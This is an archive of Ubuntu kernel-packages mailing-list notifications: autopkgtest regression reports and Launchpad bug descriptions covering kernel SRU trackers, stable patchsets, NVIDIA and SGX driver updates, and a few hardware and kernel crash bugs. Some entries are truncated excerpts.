Status in linux-base source package in Bionic: Fix Committed Status in linux-azure source package in Eoan: Fix Committed Status in linux-azure-4.15 source package in Eoan: Invalid Status in linux-base source package in Eoan: Fix Committed Status in linux-azure source package in Focal: Fix Committed Status in linux-azure-4.15 source package in Focal: Invalid Status in linux-base source package in Focal: Fix Committed Bug description: [Impact] We have included the DCAP version of SGX into the linux-azure kernels in order to provide a signed version of this driver that can be used with secure boot in Azure instances. Since a new version of this driver was released, we should update the embedded driver: https://github.com/intel/SGXDataCenterAttestationPrimitives/tree/LD_1.33/driver/linux [Test Case] - Install the new kernel on an ACC azure instance. - Ensure the module loads properly. - Check if ECL (provided on the azure images) is working properly. [Regression Potential] The changes are extensive, but both Canonical and Microsoft perform validation tests on SGX. Besides that, the change is restricted to linux-azure running on specific instances. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-azure/+bug/1881338/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1881338] Autopkgtest regression report (linux-base/4.5ubuntu1.2)
All autopkgtests for the newly accepted linux-base (4.5ubuntu1.2) for bionic have finished running. The following regressions have been reported in tests triggered by the package: linux-hwe-5.0/5.0.0-53.57~18.04.1 (armhf) makedumpfile/1:1.6.5-1ubuntu1~18.04.5 (ppc64el) linux-hwe-5.4/5.4.0-40.44~18.04.1 (armhf) linux-raspi2-5.3/5.3.0-1028.30~18.04.2 (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-base [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-base in Ubuntu. https://bugs.launchpad.net/bugs/1881338 Title: linux-azure: Update SGX version to version LD_1.33 Status in linux-azure package in Ubuntu: In Progress Status in linux-azure-4.15 package in Ubuntu: New Status in linux-base package in Ubuntu: Fix Released Status in linux-azure source package in Xenial: Invalid Status in linux-azure-4.15 source package in Xenial: Invalid Status in linux-base source package in Xenial: Fix Committed Status in linux-azure source package in Bionic: Fix Committed Status in linux-azure-4.15 source package in Bionic: Fix Committed Status in linux-base source package in Bionic: Fix Committed Status in linux-azure source package in Eoan: Fix Committed Status in linux-azure-4.15 source package in Eoan: Invalid Status in linux-base source package in Eoan: Fix Committed Status in linux-azure source package in Focal: Fix Committed Status in linux-azure-4.15 source package in Focal: Invalid Status in linux-base source package in Focal: Fix Committed Bug description: [Impact] We have included the DCAP version of SGX into the linux-azure kernels in order to provide a signed version of this driver that can be used with secure boot in Azure instances. Since a new version of this driver was released, we should update the embedded driver: https://github.com/intel/SGXDataCenterAttestationPrimitives/tree/LD_1.33/driver/linux [Test Case] - Install the new kernel on an ACC azure instance. - Ensure the module loads properly. - Check if ECL (provided on the azure images) is working properly. [Regression Potential] The changes are extensive, but both Canonical and Microsoft perform validation tests on SGX. Besides that, the change is restricted to linux-azure running on specific instances. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-azure/+bug/1881338/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1854485] Autopkgtest regression report (nvidia-graphics-drivers-390/390.132-0ubuntu0.19.10.1)
All autopkgtests for the newly accepted nvidia-graphics-drivers-390 (390.132-0ubuntu0.19.10.1) for eoan have finished running. The following regressions have been reported in tests triggered by the package: nvidia-graphics-drivers-390/390.132-0ubuntu0.19.10.1 (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/eoan/update_excuses.html#nvidia-graphics-drivers-390 [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1854485 Title: Introduce the new NVIDIA 440 series, and add 5.4 Linux compatibility to the 340 and 390 series Status in linux package in Ubuntu: Triaged Status in linux-restricted-modules package in Ubuntu: Confirmed Status in nvidia-graphics-drivers-340 package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-390 package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-440 package in Ubuntu: Fix Released Status in nvidia-settings package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Committed Status in linux-restricted-modules source package in Bionic: Fix Committed Status in nvidia-graphics-drivers-340 source package in Bionic: Fix Committed Status in nvidia-graphics-drivers-390 source package in Bionic: Fix Committed Status in nvidia-graphics-drivers-440 source package in Bionic: Fix Committed Status in nvidia-settings source package in Bionic: Fix Committed Status in linux source package in Eoan: New Status in linux-restricted-modules source package in Eoan: In Progress Status in nvidia-graphics-drivers-340 source package in Eoan: Fix Committed Status in nvidia-graphics-drivers-390 source package in Eoan: Fix Committed Status in nvidia-graphics-drivers-440 source package in Eoan: Fix Committed Status in nvidia-settings source package in Eoan: Fix Committed Bug description: [Impact] These releases provide both bug fixes and new features, and we would like to make sure all of our users have access to these improvements. See the changelog entry below for a full list of changes and bugs. [Test Case] The following development and SRU process was followed: https://wiki.ubuntu.com/NVidiaUpdates Certification test suite must pass on a range of hardware: https://git.launchpad.net/plainbox-provider-sru/tree/units/sru.pxu The QA team that executed the tests will be in charge of attaching the artifacts and console output of the appropriate run to the bug. nVidia maintainers team members will not mark ‘verification-done’ until this has happened. [Regression Potential] In order to mitigate the regression potential, the results of the aforementioned system level tests are attached to this bug. [Discussion] 440.40: * New upstream release: - Added support for the following GPU: Quadro T2000 with Max-Q Design - Added support for the __GL_SYNC_DISPLAY_DEVICE environment variable for Vulkan applications. - Fixed a bug that caused applications running directly on a display (such as VR HMDs) to tear when a G-SYNC or G-SYNC Compatible monitor is plugged in the system. - Fixed a bug in an error handling path that could cause a kernel crash while loading nvidia.ko. - Fixed driver installation failure on Oracle Linux 7.7 systems, where the NVIDIA kernel module failed to build with error "unknown type name 'vm_fault_t'". * Changes from the 440.36 series: - Added support for the following GPUs: o GeForce GTX 1650 SUPER o GeForce GTX 1660 SUPER - Fixed graphical corruption that can occur when using glslang SPIR-V Generator Version <= 2. - Fixed a bug that could cause the X server to crash when running applications using GLX indirect rendering. - Updated the Module.symvers sanity check, which is part of the NVIDIA kernel module build process, to accommodate the recent addition of a new field in the Module.symvers file format. This fixes the error "The Module.symvers file is missing [...]" seen during driver installation or DKMS rebuilds with Linux 5.4 RC kernels. - Fixed kernel module build problems with Linux kernel 5.4.0 release candidates. - Updated nvidia-bug-report.sh to collect information about X server crashes from coredumpctl, when available. - Updated the nvidia-drm kernel module for compatibility with the removal of the DRIVER_PRIME flag in recent Linux kernel versions. - Enabled parallel GLSL shader linking by default; i.e., allow GL_AR
[Kernel-packages] [Bug 1862059] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1862059 Title: Disco update: upstream stable patchset 2020-02-05 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2020-02-05 Ported from the following upstream stable releases: v4.19.96, v5.4.12, v4.19.97, v5.4.13 from git://git.kernel.org/ chardev: Avoid potential use-after-free in 'chrdev_open()' i2c: fix bus recovery stop mode timing usb: chipidea: host: Disable port power only if previously enabled ALSA: usb-audio: Apply the sample rate quirk for Bose Companion 5 ALSA: hda/realtek - Add new codec supported for ALCS1200A ALSA: hda/realtek - Set EAPD control to default for ALC222 ALSA: hda/realtek - Add quirk for the bass speaker on Lenovo Yoga X1 7th gen kernel/trace: Fix do not unregister tracepoints when register sched_migrate_task fail tracing: Have stack tracer compile when MCOUNT_INSN_SIZE is not defined tracing: Change offset type to s32 in preempt/irq tracepoints HID: Fix slab-out-of-bounds read in hid_field_extract HID: uhid: Fix returning EPOLLOUT from uhid_char_poll HID: hid-input: clear unmapped usages Input: add safety guards to input_set_keycode() Input: input_event - fix struct padding on sparc64 drm/sun4i: tcon: Set RGB DCLK min. divider based on hardware model drm/fb-helper: Round up bits_per_pixel if possible drm/dp_mst: correct the shifting in DP_REMOTE_I2C_READ can: kvaser_usb: fix interface sanity check can: gs_usb: gs_usb_probe(): use descriptors of current altsetting can: mscan: mscan_rx_poll(): fix rx path lockup when returning from polling to irq mode can: can_dropped_invalid_skb(): ensure an initialized headroom in outgoing CAN sk_buffs gpiolib: acpi: Turn dmi_system_id table into a generic quirk table gpiolib: acpi: Add honor_wakeup module-option + quirk mechanism staging: vt6656: set usb_set_intfdata on driver fail. USB: serial: option: add ZLP support for 0x1bc7/0x9010 usb: musb: fix idling for suspend after disconnect interrupt usb: musb: Disable pullup at init usb: musb: dma: Correct parameter passed to IRQ handler staging: comedi: adv_pci1710: fix AI channels 16-31 for PCI-1713 staging: rtl8188eu: Add device code for TP-Link TL-WN727N v5.21 serdev: Don't claim unsupported ACPI serial devices tty: link tty and port before configuring it as console tty: always relink the port mwifiex: pcie: Fix memory leak in mwifiex_pcie_alloc_cmdrsp_buf scsi: bfa: release allocated memory in case of error rtl8xxxu: prevent leaking urb HID: hiddev: fix mess in hiddev_open() USB: Fix: Don't skip endpoint descriptors with maxpacket=0 phy: cpcap-usb: Fix error path when no host driver is loaded phy: cpcap-usb: Fix flakey host idling and enumerating of devices netfilter: arp_tables: init netns pointer in xt_tgchk_param struct netfilter: conntrack: dccp, sctp: handle null timeout argument netfilter: ipset: avoid null deref when IPSET_ATTR_LINENO is present tpm: Handle negative priv->response_len in tpm_common_read() pstore/ram: Regularize prz label allocation lifetime USB-PD tcpm: bad warning+size, PPS adapters staging: vt6656: correct return of vnt_init_registers. staging: vt6656: limit reg output to block size arm64: Implement copy_thread_tls arm: Implement copy_thread_tls parisc: Implement copy_thread_tls riscv: Implement copy_thread_tls xtensa: Implement copy_thread_tls um: Implement copy_thread_tls staging: vt6656: remove bool from vnt_radio_power_on ret rpmsg: char: release allocated memory UBUNTU: upstream stable to v4.19.96, v5.4.12 hidraw: Return EPOLLOUT from hidraw_poll HID: hidraw: Fix retur
[Kernel-packages] [Bug 1863297] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
*** This bug is a duplicate of bug 1865110 *** https://bugs.launchpad.net/bugs/1865110 All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1863297 Title: disco/linux: 5.0.0-42.46 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Confirmed Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: Invalid Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Invalid Status in Kernel SRU Workflow security-signoff series: Invalid Status in Kernel SRU Workflow verification-testing series: In Progress Status in linux package in Ubuntu: Invalid Status in linux source package in Disco: Confirmed Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Testing phase-changed: Monday, 17. February 2020 18:32 UTC proposed-announcement-sent: true proposed-testing-requested: true reason: automated-testing: Ongoing -- testing in progress certification-testing: Ongoing -- testing in progress verification-testing: Ongoing -- testing in progress trackers: bionic/linux-aws-5.0: bug 1863281 bionic/linux-azure: bug 1863285 bionic/linux-bluefield: bug 1863295 bionic/linux-gcp: bug 1863289 bionic/linux-gke-5.0: bug 1863293 bionic/linux-hwe-5.0: bug 1863276 bionic/linux-oem-osp1: bug 1863279 bionic/linux-oracle-5.0: bug 1863296 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1863297/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1860657] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1860657 Title: Prevent arm64 guest from accessing host debug registers Status in linux package in Ubuntu: Fix Committed Status in linux source package in Bionic: Fix Released Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Released Status in linux source package in Focal: Fix Committed Bug description: [Impact] Guests could access host debug/PMU registers. This could happen very briefly before they are first preempted. This only affects arm64 CPUs that support virtualization. [Regression potential] This could break virtualization or guest access to PMU registers. [Test case] A guest has been run with a host with the patched kernel. perf top has been run on the guest. Using uvtool: host$ sudo apt install uvtool qemu-efi-aarch64 host$ uvt-kvm create test release=eoan arch=arm64 host$ uvt-kvm ssh test guest$ sudo perf top To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1860657/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1862114] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1862114 Title: pty03 from pty in ubuntu_ltp failed on Eoan Status in ubuntu-kernel-tests: Fix Released Status in linux package in Ubuntu: In Progress Status in linux source package in Xenial: Fix Released Status in linux source package in Bionic: Fix Released Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Released Bug description: == Justification == The test case pty03 from pty in ubuntu_ltp is failing with kernel NULL pointer dereference: [ 951.306823] BUG: kernel NULL pointer dereference, address: 0020 [ 951.309960] #PF: supervisor write access in kernel mode [ 951.312130] #PF: error_code(0x0002) - not-present page [ 951.314227] PGD 0 P4D 0 [ 951.315278] Oops: 0002 [#1] SMP PTI [ 951.316705] CPU: 1 PID: 39102 Comm: pty03 Not tainted 5.4.0-12-generic #15-Ubuntu [ 951.319737] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 951.322713] RIP: 0010:queue_work_on+0x1b/0x50 [ 951.352494] Call Trace: [ 951.353244] slip_write_wakeup+0x25/0x30 [slip] [ 951.354600] tty_wakeup+0x5b/0x70 [ 951.355539] pty_unthrottle+0x19/0x30 [ 951.356560] tty_unthrottle+0x42/0x60 [ 951.357566] __tty_perform_flush+0x87/0x90 [ 951.358768] n_tty_ioctl_helper+0xcc/0x150 [ 951.359955] n_tty_ioctl+0x2d/0x100 [ 951.360930] tty_ioctl+0x3c0/0x8e0 [ 951.361882] ? __switch_to_asm+0x34/0x70 [ 951.363049] ? __switch_to_asm+0x40/0x70 [ 951.364191] ? __switch_to_asm+0x34/0x70 [ 951.365261] ? __switch_to_asm+0x40/0x70 [ 951.366382] ? __switch_to_asm+0x34/0x70 [ 951.367452] ? __switch_to_asm+0x40/0x70 [ 951.368523] ? __switch_to_asm+0x34/0x70 [ 951.369693] ? __switch_to_asm+0x40/0x70 [ 951.370829] ? __switch_to_asm+0x34/0x70 [ 951.371923] ? __switch_to_asm+0x40/0x70 [ 951.372998] ? __switch_to_asm+0x34/0x70 [ 951.374097] ? __switch_to_asm+0x40/0x70 [ 951.375183] ? __switch_to_asm+0x34/0x70 [ 951.376288] ? __switch_to_asm+0x40/0x70 [ 951.377390] ? __switch_to+0x110/0x470 [ 951.378863] do_vfs_ioctl+0x407/0x670 [ 951.380269] ? __schedule+0x2eb/0x740 [ 951.381761] ksys_ioctl+0x67/0x90 [ 951.383076] __x64_sys_ioctl+0x1a/0x20 [ 951.384510] do_syscall_64+0x57/0x190 [ 951.385896] entry_SYSCALL_64_after_hwframe+0x44/0xa9 == Fixes == Indicated by the test case, this issue can be fixed by: * 0ace17d5 (can, slip: Protect tty->disc_data in write_wakeup and close with RCU) This patch can be cherry-picked into all of our kernels. == Test == Test kernels could be found here: https://people.canonical.com/~phlin/kernel/lp-1862114-pty03/ Tested on KVM nodes and the patched kernels work as expected, there will be no more kernel null pointer dereference issue, and the test can finish properly. == Regression potential == Low, changes limited to two specific drivers for serial line TTY. This issue can be reproduced quite easily and the patched kernels show positive results. == Original Bug Report == startup='Thu Feb 6 02:45:23 2020' tst_test.c:1215: INFO: Timeout per run is 0h 05m 00s pty03.c:101: INFO: Creating PTY with SLIP line discipline Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Test timeouted, sending SIGKILL! Cannot kill test processes! Congratulation, likely test hit a kernel bug. Exitting uncleanly... tag=pty03 stime=1580957123 dur=350 exit=exited stat=1 core=no cu=0 cs=0 This is a new test case, so it's not a regression. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1862114/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1862418] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1862418 Title: Disco update: upstream stable patchset 2020-02-07 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2020-02-07 Ported from the following upstream stable releases: v4.19.98, v5.4.14 from git://git.kernel.org/ ARM: dts: meson8: fix the size of the PMU registers clk: qcom: gcc-sdm845: Add missing flag to votable GDSCs dt-bindings: reset: meson8b: fix duplicate reset IDs ARM: dts: imx6q-dhcom: fix rtc compatible clk: Don't try to enable critical clocks if prepare failed ASoC: msm8916-wcd-digital: Reset RX interpolation path after use iio: buffer: align the size of scan bytes to size of the largest element USB: serial: simple: Add Motorola Solutions TETRA MTP3xxx and MTP85xx USB: serial: option: Add support for Quectel RM500Q USB: serial: opticon: fix control-message timeouts USB: serial: option: add support for Quectel RM500Q in QDL mode USB: serial: suppress driver bind attributes USB: serial: ch341: handle unbound port at reset_resume USB: serial: io_edgeport: handle unbound ports on URB completion USB: serial: io_edgeport: add missing active-port sanity check USB: serial: keyspan: handle unbound ports USB: serial: quatech2: handle unbound ports scsi: fnic: fix invalid stack access scsi: mptfusion: Fix double fetch bug in ioctl ASoC: msm8916-wcd-analog: Fix selected events for MIC BIAS External1 ASoC: msm8916-wcd-analog: Fix MIC BIAS Internal1 ARM: dts: imx6q-dhcom: Fix SGTL5000 VDDIO regulator connection ALSA: dice: fix fallback from protocol extension into limited functionality ALSA: seq: Fix racy access for queue timer in proc read ALSA: usb-audio: fix sync-ep altsetting sanity check arm64: dts: allwinner: a64: olinuxino: Fix SDIO supply regulator Fix built-in early-load Intel microcode alignment block: fix an integer overflow in logical block size ARM: dts: am571x-idk: Fix gpios property to have the correct gpio number ptrace: reintroduce usage of subjective credentials in ptrace_has_cap() usb: core: hub: Improved device recognition on remote wakeup x86/resctrl: Fix an imbalance in domain_remove_cpu() x86/CPU/AMD: Ensure clearing of SME/SEV features is maintained x86/efistub: Disable paging at mixed mode entry drm/i915: Add missing include file x86/resctrl: Fix potential memory leak perf hists: Fix variable name's inconsistency in hists__for_each() macro perf report: Fix incorrectly added dimensions as switch perf data file mm/shmem.c: thp, shmem: fix conflict of above-47bit hint address and PMD alignment mm: memcg/slab: call flush_memcg_workqueue() only if memcg workqueue is valid btrfs: rework arguments of btrfs_unlink_subvol btrfs: fix invalid removal of root ref btrfs: do not delete mismatched root refs btrfs: fix memory leak in qgroup accounting mm/page-writeback.c: avoid potential division by zero in wb_min_max_ratio() ARM: dts: imx6q-icore-mipi: Use 1.5 version of i.Core MX6DL ARM: dts: imx7: Fix Toradex Colibri iMX7S 256MB NAND flash support net: stmmac: 16KB buffer must be 16 byte aligned net: stmmac: Enable 16KB buffer size mm/huge_memory.c: make __thp_get_unmapped_area static mm/huge_memory.c: thp: fix conflict of above-47bit hint address and PMD alignment arm64: dts: agilex/stratix10: fix pmu interrupt numbers bpf: Fix incorrect verifier simulation of ARSH under ALU32 cfg80211: fix deadlocks in autodisconnect work cfg80211: fix memory leak in cfg80211_cqm_rssi_update cfg80211: fix page refcount issue in A-MSDU decap netfilter: fix a use-after-free in mtype_destroy() netfilter: arp_tables: init netns pointer in xt_tg
[Kernel-packages] [Bug 1849947] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1849947 Title: Dell XPS 13 (7390) Display Flickering - 19.10 Status in linux package in Ubuntu: Fix Released Status in linux source package in Disco: Fix Committed Status in linux source package in Eoan: Fix Released Status in linux source package in Focal: Fix Released Bug description: Hi there, I recently purchased a Dell XPS 13 7390 (Developer Edition). I decided to replace 18.4 LTS with 19.10 and so far it has been pretty smooth. However, there is one issue which occurs frequently whereby the display flickers and becomes unusable. The best way to describe the appearance is that the image becomes heavily distorted. Sometimes it only happens for a split second, other times it is permanently distorted. When this happens, simply closing the laptop lip and re-opening seems to put the display back into it's correct state. I didn't experience this issue on 18.04 LTS which is why I believe it's a Software Bug within 19.10. ProblemType: Bug DistroRelease: Ubuntu 19.10 Package: xorg 1:7.7+19ubuntu12 ProcVersionSignature: Ubuntu 5.3.0-19.20-generic 5.3.1 Uname: Linux 5.3.0-19-generic x86_64 ApportVersion: 2.20.11-0ubuntu8 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Oct 26 11:11:43 2019 DistUpgraded: Fresh install DistroCodename: eoan DistroVariant: ubuntu ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation Device [8086:9b41] (rev 02) (prog-if 00 [VGA controller]) Subsystem: Dell Device [1028:0962] InstallationDate: Installed on 2019-10-25 (0 days ago) InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017) MachineType: Dell Inc. XPS 13 7390 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-19-generic root=/dev/mapper/vgubuntu-root ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/23/2019 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.1.3 dmi.board.name: 0G2D0W dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.1.3:bd08/23/2019:svnDellInc.:pnXPS137390:pvr:rvnDellInc.:rn0G2D0W:rvrA00:cvnDellInc.:ct10:cvr: dmi.product.family: XPS dmi.product.name: XPS 13 7390 dmi.product.sku: 0962 dmi.sys.vendor: Dell Inc. version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.99-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 19.2.1-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.5+git20191008-0ubuntu1 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.0.1-1ubuntu1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20190815-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1849947/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1861918] Autopkgtest regression report (linux-bluefield/5.0.0-1010.20)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1010.20) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1861918 Title: Disco update: upstream stable patchset 2020-02-04 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Committed Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2020-02-04 Ported from the following upstream stable releases: v4.19.95, v5.4.10, v5.4.11 from git://git.kernel.org/ USB: dummy-hcd: use usb_urb_dir_in instead of usb_pipein USB: dummy-hcd: increase max number of devices to 32 bpf: Fix passing modified ctx to ld/abs/ind instruction regulator: fix use after free issue ASoC: max98090: fix possible race conditions locking/spinlock/debug: Fix various data races netfilter: ctnetlink: netns exit must wait for callbacks libtraceevent: Fix lib installation with O= x86/efi: Update e820 with reserved EFI boot services data to fix kexec breakage ASoC: Intel: bytcr_rt5640: Update quirk for Teclast X89 efi/gop: Return EFI_NOT_FOUND if there are no usable GOPs efi/gop: Return EFI_SUCCESS if a usable GOP was found efi/gop: Fix memory leak in __gop_query32/64() ARM: dts: imx6ul: imx6ul-14x14-evk.dtsi: Fix SPI NOR probing 